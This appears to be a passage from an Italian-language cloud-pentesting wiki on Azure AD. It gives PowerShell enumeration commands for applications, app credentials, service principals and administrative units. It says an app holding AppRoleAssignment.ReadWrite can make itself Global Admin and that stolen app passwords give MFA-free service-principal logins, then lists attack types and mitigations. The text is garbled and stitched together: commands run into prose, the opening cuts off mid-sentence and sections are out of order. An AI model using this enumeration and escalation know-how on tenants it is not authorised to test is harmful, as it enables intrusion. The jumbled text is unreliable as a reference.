servizi di Azure DevOps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDevOpsOrganizationOttenere informazioni sui servizi di Azure Security CenterPer ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando `Get-AzSecurityWorkspace# Get AppsGet-AzADApplication# Get details of one AppGet-AzADApplication -ObjectId <id># Get App searching by stringGet-AzADApplication | ?{$_.DisplayName -match "app"}# Get Apps with passwordGet-AzADAppCredential
Un'app con il permesso AppRoleAssignment.ReadWrite
può elevare i privilegi a Global Admin concedendosi il ruolo.
Per ulteriori informazioni controlla qui.
Una stringa segreta che l'applicazione utilizza per dimostrare la sua identità durante la richiesta di un token è la password dell'applicazione. Quindi, se trovi questa password puoi accedere come service principal all'interno del tenant. Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi ottenerla di nuovo). Il proprietario dell'applicazione può aggiungere una password ad essa (in modo da poterla impersonare). I login come questi service principal non sono contrassegnati come rischiosi e non avranno MFA.
Differenza tra Applicazioni e (Applicazioni Enterprise o Service Principal)
Differenza tra un'applicazione e un Service Principal in Azure:
Applicazioni/Registrazioni app: Sono applicazioni che esistono nel tuo Azure AD
(Get-AzureADApplication -filter "DisplayName eq 'testapp'")
Service Principal/Applicazioni Enterprise: Oggetti di sicurezza nel tuo Azure AD che possono avere privilegi nella Directory di Azure e sono collegati alla tua applicazione o a un'applicazione di terze parti
Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")
Un amministratore potrebbe dover approvare i permessi dati se sono molto sensibili.
Un'applicazione può essere eseguita in un tenant di terze parti e una volta che inizi a usarla e le dai accesso, viene creata un'Applicazione Enterprise/Service Principal nel tuo tenant per fornirle l'accesso alle informazioni di cui ha bisogno:
Unità amministrative
Viene utilizzato per una migliore gestione degli utenti.
Le unità amministrative limitano i permessi di un ruolo a una parte dell'organizzazione che definisci. Ad esempio, potresti utilizzare le unità amministrative per delegare il ruolo di Amministratore del servizio di assistenza a specialisti di supporto regionali, in modo che possano gestire solo gli utenti nella regione che supportano.
Pertanto, puoi assegnare ruoli all'unità amministrativa e i membri di essa avranno questi ruoli.
AzureAD
Azure Active Directory (Azure AD) è un servizio di gestione delle identità e degli accessi basato sul cloud offerto da Microsoft. È progettato per consentire alle organizzazioni di gestire in modo sicuro l'accesso alle risorse cloud e alle applicazioni aziendali.
Scoperta
Durante la fase di scoperta, l'obiettivo è raccogliere informazioni sul tenant di Azure AD e sulle risorse associate ad esso. Ci sono diverse tecniche che possono essere utilizzate per ottenere queste informazioni:
Enumerazione degli utenti: cercare di ottenere una lista di utenti all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.
Enumerazione dei gruppi: cercare di ottenere una lista dei gruppi all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.
Enumerazione delle applicazioni: cercare di ottenere una lista delle applicazioni registrate nel tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.
Enumerazione dei ruoli: cercare di ottenere una lista dei ruoli all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.
Enumerazione delle autorizzazioni: cercare di ottenere una lista delle autorizzazioni concesse alle applicazioni nel tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.
Attacchi
Una volta ottenute le informazioni necessarie durante la fase di scoperta, è possibile eseguire diversi tipi di attacchi contro Azure AD:
Attacchi di forza bruta: tentare di indovinare le password degli utenti o delle applicazioni nel tenant di Azure AD utilizzando tecniche di forza bruta.
Attacchi di phishing: inviare e-mail o messaggi di testo fraudolenti per ottenere le credenziali degli utenti.
Attacchi di password spraying: tentare di indovinare le password degli utenti utilizzando una lista di password comuni.
Attacchi di pass-the-hash: utilizzare le credenziali hashate degli utenti per ottenere l'accesso alle risorse nel tenant di Azure AD.
Attacchi di token impersonation: sfruttare i token di accesso delle applicazioni per impersonare un utente legittimo e ottenere l'accesso alle risorse nel tenant di Azure AD.
Attacchi di token theft: rubare i token di accesso delle applicazioni per ottenere l'accesso alle risorse nel tenant di Azure AD.
Attacchi di token replay: utilizzare un token di accesso valido per ottenere l'accesso alle risorse nel tenant di Azure AD.
Attacchi di token manipulation: manipolare un token di accesso per ottenere privilegi elevati nel tenant di Azure AD.
Mitigazione
Per mitigare i rischi associati ad Azure AD, è possibile adottare le seguenti misure di sicurezza:
Implementare la verifica in due passaggi: richiedere agli utenti di fornire un secondo fattore di autenticazione oltre alla password.
Monitorare gli accessi anomali: utilizzare strumenti di monitoraggio per rilevare e rispondere agli accessi anomali o sospetti.
Limitare i privilegi degli utenti: assegnare solo i privilegi necessari agli utenti e alle applicazioni.
Aggiornare regolarmente le password: richiedere agli utenti di aggiornare regolarmente le loro password.
Utilizzare certificati per l'autenticazione: utilizzare certificati per autenticare le applicazioni e gli utenti.
Implementare il controllo degli accessi basato sui ruoli: assegnare i ruoli in base alle responsabilità degli utenti e limitare l'accesso alle risorse in base a questi ruoli.
Monitorare e registrare le attività degli utenti: tenere traccia delle attività degli utenti per rilevare eventuali comportamenti sospetti o anomali.
Aggiornare e patchare regolarmente le applicazioni: assicurarsi che le applicazioni siano aggiornate e patchate per mitigare le vulnerabilità note.
Educazione degli utenti: fornire formazione e consapevolezza sulla sicurezza agli utenti per ridurre il rischio di attacchi di phishing e altre minacce.
Riferimenti
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
Azure AD Identity Protection (AIP)
Azure AD Identity Protection (AIP) è un servizio di sicurezza che utilizza rilevazione e correzione automatica per proteggere le identità degli utenti in Azure Active Directory da compromissioni. AIP monitora e valuta continuamente il rischio di accessi degli utenti e le configurazioni delle identità, applicando automaticamente le misure di sicurezza appropriate, come l'autenticazione a più fattori o il blocco di attività potenzialmente pericolose. Ciò aiuta le organizzazioni a prevenire violazioni della sicurezza basate sull'identità.
Flusso:
Azure AD Identity Protection monitora le attività degli utenti e raccoglie dati sugli accessi degli utenti, gli eventi di autenticazione e altre attività pertinenti.
Il servizio utilizza algoritmi di machine learning per analizzare questi dati e rilevare potenziali minacce alla sicurezza.
Azure AD Identity Protection assegna un livello di rischio alla minaccia (ad esempio, accesso) e genera un avviso se necessario per eseguire un'azione automatica.
Azure AD Password Protection (APP)
Azure AD Password Protection (APP) è una funzionalità di sicurezza che aiuta a prevenire password deboli in Azure Active Directory mediante l'applicazione di politiche di password robuste. APP blocca password deboli comunemente utilizzate e le loro varianti, riducendo il rischio di violazioni legate alle password. Può essere applicato sia a livello di cloud che all'interno di Active Directory in locale, migliorando complessivamente la sicurezza delle password in tutta l'organizzazione.
Riferimenti
Last updated